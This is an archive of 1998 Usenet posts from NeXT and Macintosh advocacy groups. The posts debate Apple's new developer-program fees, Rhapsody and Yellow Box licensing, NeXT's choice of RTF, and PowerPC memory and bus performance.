References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com>
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
[ ... ]
> From a programmer's point of view, the phone system is a hack. There isn't
> an elegant way to connect to the Internet without spending gobs of money.
Please. The phone system (in particular, the AT&T system in the US, although
I understand parts of Europe like West Germany have really gotten on the
ball, too) is the most amazingly stable, redundant, and functional
communications system ever developed.
Any networking equipment designed to specs like a maximum per-incident
failover time of 5 seconds, with a max total failure time of 60 seconds over
a decade-plus lifetime like many of the current centrex switches is
impressive.
[ ... ]
> Actually, I'm kind of sick of the whole idea of modulization.
I've been trying to go to bat for you with Malcolm re: your potential coding
skills, and you say this? I may have to give up my optimistic
perspective.... :-)
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 21:43:15 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6ggr1j$fit$8@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <trumbull-0804981700060001@net44-223.student.yale.edu>
trumbull@cs.yale.edu (Ben Trumbull) wrote:
> In article <6ggj21$fit$6@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com
> wrote:
[ ... ]
>> provide Apple with the kinds of feedback that they could use. Such
>> individuals are far more likely to require excessive support resources
>> for little benefit.
>
> The only development resources I've ever required from Apple is a web
> server they were going to be running for thousands of other people
> anyway. And Apple has made quite a handsome little profit on selling me
> Inside Macintosh and other development resources. The numbers somebody
> came up with regarding Apple's cost to support one "developer" approach
> something like pure fiction.
Which numbers? My 100K figure? That was the cost per developer per year to
their employers, not Apple's cost to provide support for a product.
Take an average salary of 50K, plus 20K of administrative overhead, plus 10K
of software & hardware, plus 10K for taxes & bennies (employer's social
security contribution, health coverage, 401(k) matching, etc), plus
miscellaneous expenses like renting office space, utilities et al.
Typical computer technical support costs run a company around $30 - 50 per
hour, give or take, depending on the quality, responsiveness, and expertise
of the support people. And that's just the up-front support cost; it doesn't
cover the engineering resources required to fix bugs, add functionality, and
so forth.
I could find references for these numbers if you like. Actually, IIRC, Steve
McConnell (of 'Code Complete') has a discussion of these costs. Obviously,
there is a range depending on circumstances, but they should be accurate to
better than a factor of two.
> As for the little benefit, that's a cheap shot.
How so? I wasn't directing my comments at anyone in particular, so I can't
imagine how they could be construed that way. But heck, I'll bite:
You're posting from a .edu address. Do you have your own private network--
seperated by a firewall-- to even meet the licensing terms for Rhapsody DR1?
You're not supposed to install the software on a box connected to your campus
network, you see.
Do you have another machine besides your primary system which you can
dedicate entirely to Rhapsody? DR1 isn't a production system, and anyone who
needs a computer to actually do work (for class, commercially, or for
personal usage) would need a second machine to install Rhapsody on.
> I'll think of you when I write the licensing part of my next freeware
> program.
If it makes you feel better....
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: gcheng@uni.uiuc.edu (Guanyao Cheng)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 22:14:05 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6ggsrd$ldi$1@vixen.cso.uiuc.edu>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <01bc452e$e8a3eac0$3df0bfa8@davidsul>
"macghod" <macghod@concentric.net> writes:
>Really?
>How does a college student who wants to develop apps for rhapsody do so
>without spending the $250 (now $500)?
>Thats the only way they can legitimately get rhapsody, plus other apple
>beta softwares they may want to develop for.
I assume you would go get a book for Rhapsody programming, and by the time
you finish it Rhapsody CR1 would be out, and educational users and
developers would be able to purchase it at cost.
Guanyao Cheng
--
Guanyao Cheng "And I personally assure you, everybody here, that
gcheng@uiuc.edu if Deep Blue will start playing competitive
http://www.uiuc.edu/ph chess, I personally guarantee you I'll
/www/gcheng tear it to pieces" -- Garry Kasparov
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 22:11:00 GMT
Organization: P & L Systems
Message-ID: <6ggslk$oop$4@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <34FAD56E.F4B08F27@markelcorp.com>
<6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com>
<6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com>
<6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de>
<6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar.dimensional.com>
<6ga6l3$fhe$6@ironhorse.plsys.co.uk> <6ggk8f$1kt$1@quasar.dimensional.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Ken@_$spamless$_KenAndTed.com
In <6ggk8f$1kt$1@quasar.dimensional.com> Kenneth R. Kinder wrote:
> In comp.os.linux.advocacy , article <6ga6l3$fhe$6@ironhorse.plsys.co.uk> ,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> >>> What alternative rich text format would you have chosen?
> >> It wasn't around then, but I would go with XML. There are lots of
> >> possibilities: html, sgml, tex, ect...
>
> > Umm, for Ken and for Lawson: the choice was made around 1988.
>
> Umm, for Mmalc and anyone else who didn't read what I said: "It wasn't
around
> then," means that it wasn't around then.
>
Yes, I did read that, which is why I couldn't understand your answer; it's
like answering "How do we get off this island?" with "Imagine we had a
boat...".
> > Think back to 1988 and then tell us, given NeXT's goal of using standards
> > where they make sense, and diverging when they could do something
> > significantly better, tell us again what format you'd have chosen.
>
> Tex variants has been around longer than RTF.
>
Yes, but we're after a * rich text format* that is readily editable in
WYSIWYG form by the ordinary person in the street, not a complicated markup
scheme which takes some people years to master and which requires processing
to render into output form...
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 22:05:48 GMT
Organization: P & L Systems
Message-ID: <6ggsbs$oop$3@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <j-jahnke-0704981616320001@192.168.1.3>
<support-0704982011260001@207-172-164-184.s57.as4.loc.erols.com> <6ggahf$rts$3@news01.deltanet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: scott@eviews.com
In <6ggahf$rts$3@news01.deltanet.com> Scott Ellsworth wrote:
> I like the idea. Who do we complain to, and how? Ric Ford said on
> Macintouch that the feedback was uniformly negative.
>
It couldn't possibly be now; I wrote in to support Apple.
Best wishes,
mmalc.
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 15:03:38 -0600
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-0804981503390001@sneezy.met.utah.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net>
I6qtS>9WAIrq2n":C@7PD>2h2WE))[h;3h<yre7|}"FBUwf_y(om>j9#T
In article <joe.ragosta-0804980858150001@wil77.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Actually, there were rumors that there would be a very low price
> educational plan. You might want to wait for the educational pricing
> before worrying too much.
The eternal Joe Ragosta reply. "All is well. Don't worry. Wait for details."
Unfortunately, when details do come out, you're just as screwed as ever. . .
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: ccox@slip.net (Chris Cox)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Sun, 05 Apr 1998 23:04:57 -0700
Organization: Slip.Net (http://www.slip.net)
Message-ID: <ccox-0504982304570001@sj-pm4-20-180.dialup.slip.net>
References: <6fbvpe$l63@newsb.netnews.att.com> <tim-2503982101370001@jump-k56flex-0183.jumpnet.com> <6fib8g$lun$1@vixen.cso.uiuc.edu> <handleym-3003981345140001@handma.apple.com> <6g9dgd$o66@mozo.cc.purdue.edu> <6g9m3n$neh@bgtnsc02.worldnet.att.net>
In article <6g9m3n$neh@bgtnsc02.worldnet.att.net>,
suvidya.@worldnet.att.net.nospam.mapson wrote:
> A message on a www.xlr8yourmac.com forum says :
>
> I tested my 266 DT at the 292MHz/83MHz, 300/66, & 315/70 CPU/Bus speed
settings
> and found the results of both benchmarks &
> graphic manipulation to be linear with the CPU speed. That tells me that bus
> speed is not a limitation for the 266 (and likely 233) G3's.
> My guess is that the size of the L2 cache is the first speed bottleneck as
> benchmarks are said to be higher with 1MB at a given CPU
> speed. I've no idea at what CPU speed/L2 size the 66MHz bus becomes limiting.
No, it tells you that bandwidth (somewhat related to bus speed) is not a
limitation for those benchmarks. I have a lot of Photoshop benchmarks
that say something quite different.
> This says something (that I haven't figured out yet)
> about bus speed and/or the nature of the Macbench tests.
Mostly it says something about the MacBench tests.
Chris
Date: Wed, 08 Apr 1998 18:52:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804981852440001@elk68.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
In article <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>,
rexr@cx54440-a.dt1.sdca.home.com wrote:
> Some people are under the assumption that Apple's Developer Program is
> tasked with the "mission" to multiply and procreate a whole cadre of
> wonderful developers and new applications for Rhapsody. Seeded means that
> Apple must grow all things naturally (ie. Ye reap what ye sow). This too
> is an assumption, that Apple would seed "individual" developers with "the
> code".
>
> Apple's actions signal that it can't afford to get into the "handout"
> business nor support legions of "individual" developers (read welfare). By
> "raising-the-bar" Apple introduces an entry fee and seeds the concept of
> "profit" in its Developer base. Developers who approach Rhapsody without
> resources and a profit motive will be annoyed, discouraged and drop off.
There are conflicting needs here and I'm not sure what the right answer
is. While Apple can't create a welfare program, it _is_ in their best
interest to court developers.
The only thing I could think of was to set the fee at $500 and offer a
rebate to any developer who shows that they've created real applications.
Of course, enforcing this would be a nightmare.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Is USB coming??
Date: Tue, 07 Apr 1998 22:50:47 -0700
Organization: Office of Academic Computing, UC Irvine
Message-ID: <atlauren-0704982250470001@dialin33462.slip.uci.edu>
References: <6ge46p$4sg$1@newsreader.wustl.edu>
_3;X4o1Yg^$]=Oc\u
The following conversation took place over lunch with some Apple folks:
Andrew: "USB?"
Apple: "Yes."
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
Date: Wed, 08 Apr 1998 19:07:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804981907290001@elk68.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <j-jahnke-0704981616320001@192.168.1.3> <support-0704982011260001@207-172-164-184.s57.as4.loc.erols.com> <6ggahf$rts$3@news01.deltanet.com> <6ggsbs$oop$3@ironhorse.plsys.co.uk>
In article <6ggsbs$oop$3@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <6ggahf$rts$3@news01.deltanet.com> Scott Ellsworth wrote:
> > I like the idea. Who do we complain to, and how? Ric Ford said on
> > Macintouch that the feedback was uniformly negative.
> >
> It couldn't possibly be now; I wrote in to support Apple.
It doesn't matter--they'll still claim that the feedback was uniformly
negative. Many of these sites are pretty reactionary.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 08 Apr 1998 19:06:46 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804981906460001@elk68.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
In article <mazulauf-0804981503390001@sneezy.met.utah.edu>,
mazulauf@atmos.met.utah.edu (Mike Zulauf) wrote:
> In article <joe.ragosta-0804980858150001@wil77.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Actually, there were rumors that there would be a very low price
> > educational plan. You might want to wait for the educational pricing
> > before worrying too much.
>
> The eternal Joe Ragosta reply. "All is well. Don't worry. Wait for
details."
>
> Unfortunately, when details do come out, you're just as screwed as ever. . .
Please explain how you're so badly screwed.
The SDKs are still downloadable for free.
The monthly mailing is available for $50 less than the old Associate membership.
The lowest paid developer status is $500 instead of $250. If you really
need to get the beta OS versions, your cost went up by $250. But everyone
else seems to be better off.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: accuracy of Stepwise Krishna article
Date: 6 Apr 1998 16:45:12 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gb0qo$kc8$1@anvil.BLaCKSMITH.com>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6eq7kp$pl2@mochi.lava.net> <slrn6h2ggl.gdm.marko@ns1.vrx.net> <6erm0k$p1f$2@ironhorse.plsys.co.uk> <6erpdg$96o$1@news.xmission.com> <6escen$to2$1@nnrp1.dejanews.com> <6etffv$g96$9@ns3.vrx.net> <6ev46i$qkn$1@nnrp1.dejanews.com> <6eulns$fh3$1@ns3.vrx.net> <quinlan-2003982045060001@pm22s6.intergate.bc.ca> <6f5q41$p1f$9@ironhorse.plsys.co.uk> <6f6ete$mhp$1@nnrp1.dejanews.com> <3516C50E.94BBD56D@milestonerdl.com> <3516EDD4.B53E67DB@codefab.com> <3516F1AD.588546EE@milestonerdl.com> <6f7cqu$634$1@news.digifix.com> <3517C87D.242606B6@milestonerdl.com>
M Rassbach <mark@milestonerdl.com> wrote:
[ .... ]
> Until Apple comes out with a statement of commitment FORMALLY (Press
> Release) that NT/Windows 9x, Solaris and HP-UX is supported, to spout off
> 'Write once, run everwhere' is pure bullshit.
It sounds like you refuse to be reasonable.
What hardware architectures did NEXTSTEP 3.3 run on? For what platforms can
you get (formerly) NeXT technologies like OPENSTEP, EOF, PDO, WOF, and so
forth?
Any statement about the coverage of a technology has a context. The context
of the "Write once, run everywhere" for Yellow Box is the desktop and
small-to-medium size server environment. It doesn't cover NC's, it doesn't
cover set-top boxes, it doesn't cover PDA's, nor does it cover Connection
machines, Cray Y-MP's, or other supercomputers. For that matter, it doesn't
cover large scale servers like a Sun Enterprise Server x000, or a Tandem box,
either....
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Mon, 06 Apr 1998 10:16:01 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-0604981016010001@dante.eng.uci.edu>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <joe.ragosta-0404980706540001@elk71.dol.net> <slrn6ifbd2.dbp.sal@panix3.panix.com>
In article <slrn6ifbd2.dbp.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>ASAP would be more than appropriate. With 400mhz PIIs just around the
>corner, Apple will have to lower its prices to stay competitive.
Supposedly we also have 300+ to 400MHz G3's coming over the next several
months. I don't think they will show up unless Apple sees a clear need to
do so, however. Apple seems to be out of the 'hey why don't we just do
this' mode, and into the 'let's do this for the following reasons' mode.
If 400Mhz PIIs dramatically impact G3 sales, Apple should be able to
respond, along with some level of price reductions.
-Bob Cassidy
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 17:35:52 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gb3po$kc8$6@anvil.BLaCKSMITH.com>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <6g0ffj$k6c$3@anvil.BLaCKSMITH.com> <6g6fkq$atu$4@quasar.dimensional.com>
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
[ ... ]
>> You are free to contribute to the GNUstep project.
>> You are also free to contribute to the MiscKit.
>
> MiscKit? What that be?
www.misckit.com. A collection of freely available classes for Objective-C
that are under a less restrictive license than the GPL or LGPL.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: accuracy of Stepwise Krishna article
Date: 6 Apr 1998 17:14:39 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gb2hv$kc8$3@anvil.BLaCKSMITH.com>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6eq7kp$pl2@mochi.lava.net> <slrn6h2ggl.gdm.marko@ns1.vrx.net> <6erm0k$p1f$2@ironhorse.plsys.co.uk> <6erpdg$96o$1@news.xmission.com> <6escen$to2$1@nnrp1.dejanews.com> <6etffv$g96$9@ns3.vrx.net> <6ev46i$qkn$1@nnrp1.dejanews.com> <6eulns$fh3$1@ns3.vrx.net> <quinlan-2003982045060001@pm22s6.intergate.bc.ca> <6f5q41$p1f$9@ironhorse.plsys.co.uk> <6f6ete$mhp$1@nnrp1.dejanews.com> <6f71cv$p1f$12@ironhorse.plsys.co.uk> <6fc2nm$46d$1@nnrp1.dejanews.com> <6fe4ml$3nm$3@anvil.BLaCKSMITH.com> <6fel82$c08$1@nnrp1.dejanews.com> <rmcassid-2603982220490001@dialin9018.slip.uci.edu>
[ ...comp.ssys.next.programmer removed... ]
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <6fel82$c08$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>> In article <6fe4ml$3nm$3@anvil.BLaCKSMITH.com>,
>> cswiger@BLaCKSMITH.com wrote:
>>> True. Apple needs to deliver on this one.
>>> Fortunately, I have good reason to believe that they are doing so.
>>
>> What is your good reason?
>
> I'm curious as well. Chuck, you seemed a bit unsure about Apple's
> treatment of Rhapsody and it's direction some time back. Has that changed?
I was-- but yes, it has changed.
> I don't think you were ever really pessimistic about Rhap. Was it just a
> funk you were in, like we all go through from time to time?
At the time, I was remembering how NeXT had positioned and marketed their
technologies, or...IMHO..."mispositioned and mismarketed".
I was growing increasingly concerned that Apple would position the Yellow Box
technologies in a way that would make it difficult for this technology to be
usable for mass-market commercial, shareware, and freeware software. My concerns
were based off of discussions I have had in the past with NeXT's management about
the deployment costs of the OPENSTEP runtime which effectively prevented that
technology from being usable for products priced below $1000 (more or less).
I think it's vital that the Yellow Box be generally available and not just a
high-priced, low volume solution for MCCA and vertical market development.
Thankfully, unless something changes, Apple is on track for making Yellow Box
available in a way that will enable people to use it in software targetted for
the mass-market.
Also cf. my comments re: "CR1 as Unified beta" and CR1 being licensed to permit
third party software deployment.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Mon, 06 Apr 1998 13:01:49 -0400
Organization: Cabletron Systems Inc.
Message-ID: <35290A7D.41C67EA6@ctron.com>
References: <6fbvpe$l63@newsb.netnews.att.com> <tim-2503982101370001@jump-k56flex-0183.jumpnet.com> <6fib8g$lun$1@vixen.cso.uiuc.edu> <handleym-3003981345140001@handma.apple.com> <6g9dgd$o66@mozo.cc.purdue.edu> <6g9m3n$neh@bgtnsc02.worldnet.att.net> <slrn6ihr33.mgm.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
<< snip >>
>
> Hmmm... But bus speed is a major limitation for x86 CPUs. It might have to
> do with the large register pool in PPC chips vs the "accumulator" styled
> register pool that the x86 has. Having a large L2 might help, but; I would
> think that there would still be more memory read/writes with the x86s
> smaller reg pool.
>
Actually, one of the key historical problems of "Risc" architectures has
been
memory starvation - not getting data to the core as fast as the core can
process it. Cisc architectures have suffer a bit less so on this
front. The typical benefit with Risc has been faster core processing
rates. The problem with early PPC Macs was a poor memory subsystem.
(30-50Mhz, FPM with often undersized slow async caches). The new G3 macs
show such huge improvements not only because of internal changes, but
also due to a much improved memory subsystem (66 Mzh, SDRAM, large fast,
synced (backside) cache). Now the fast PPC core is well fed, and it
shows.
It seems that the primary benefit of Risc now a days is that they
require
fewer transisters (and power) to get the same amount of work done. But
they
need alot of cache to keep their cores busy (PPC 750 has an L1 cache
twice
the size of the PII). That larger L1 a very significant contributor to
the PPC's advantage. It's the only way to feed that larger "register
pool"
and keep stalls to a minimum. (The 750 also has better branch
prediction
and short pipelines - all to minimize the likelyhood and impact of
stalls).
To make a gross generalization (and please take it as such). I think
that
in a bandwidth constrained model - x86 would actually do better (slighty
smaller binaries plus compex instructions), in an unconstrained
bandwidth model, PPC would come out on top (because it has a faster
core). But it would be easy to disprove either claim on a given
application.
AJ LaSalle
From: "macghod" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 23:51:57 GMT
Message-ID: <01bc4540$d4a15e60$3af0bfa8@davidsul>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net>
> The monthly mailing is available for $50 less than the old Associate
membership.
>
> The lowest paid developer status is $500 instead of $250. If you really
> need to get the beta OS versions, your cost went up by $250. But everyone
> else seems to be better off.
More Ragosta FUD. "Everyone else seems to be better off". Who is better
off? Their is NOTHING that is now cheaper now than before the
announcement. Either things are the same price as before with no added
benefits, or they have increased and in some cases have increased with less
benefits.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sun, 05 Apr 1998 22:45:45 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3527FB86.74E4@earthlink.net>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de>
<6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6eob$atu$1@quasar.dimensi <6g6jrc$9j9$1@news.cs.tu-berlin.de>
<joe.ragosta-0504980729350001@elk75.dol.net> <6g806f$fhe$3@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> My Stepwise ( http://www.stepwise.com/ ) article on the NEXTSTEP colour wheel
> is under review at the moment, but it should be along soon, and it includes a
> small section on transparency.
For what its worth, I found the NeXT color wheel to be one of the best
tools I have ever used. Please to screw it up, Apple!
Steve
From: ylaporte@acm.org (Yan Laporte)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 00:06:21 GMT
Organization: Université de Moncton
Message-ID: <ylaporte-0804982005030001@139.103.176.79>
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
Well... it doesn't seem so bad. You can still download MPW, compilers,
examples and SDKs for free... That's good for a student like me. I don't
really care about the 500$ program except for one thing... Rhapsody, with
students here and teachers we started making plans about it and most of it
had to take place this summer... I can't afford 500$! that's more than a
month of living for me, that would mean cutting food and other essential
stuff. Sure there will be special deals for education when it comes out,
that means at the very least at the end of the summer. The problem is
they have the bad habit to make these deals available through "our campus'
Apple representative" fact is: there si none! But even with access to
such program it would come too late, I can't really find time to learn and
experiment with a new sytem during school year, I need my machine up and
running anytime I need it! I can't install some mostly unknown system
software with no productiuvity apps on it (as if I would have money to buy
some). I read the introduction manual three times, I read the entire
foundation class reference and read the Objective-C manual about five
times and took a peek at the Application Foundation classes reference, now
I need to try it, we started writing code for a system we never tryed...
We got the software ideas, we figured out how we should do it under
Rhapsody but now I am stuck. We were able to convince autorities that
Rhapsody on a test machine would be good for us "and would be cheap" at
250$US (We're in Canada) and we are about to get the budget... sadly it
suddenly becomes useless and we still got no educationnal program of any
sort available...
What we need from Apple is an idea of when and what we will have to pay
for the system in higher education institutions. And don't get me the
"you got to be carefull, it is not meant to be used by normal users for
now(...)" speech. We're a Computer Science department, we just crave for
that stuff and we have the brain to handle it. So what are the plans for
Rhapsody in Higher education institutions?? Anyone? I need more than
dumb hearsays from MOSR... There was no such as a Developper rebate or any
program available for us three weeks ago, is there now?
This is getting frustrating... at least we got MkLinux
Enc
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Wed, 08 Apr 1998 17:22:21 -0700
Organization: Cisco Systems Inc
Message-ID: <352C14BD.D93282EC@cisco.com>
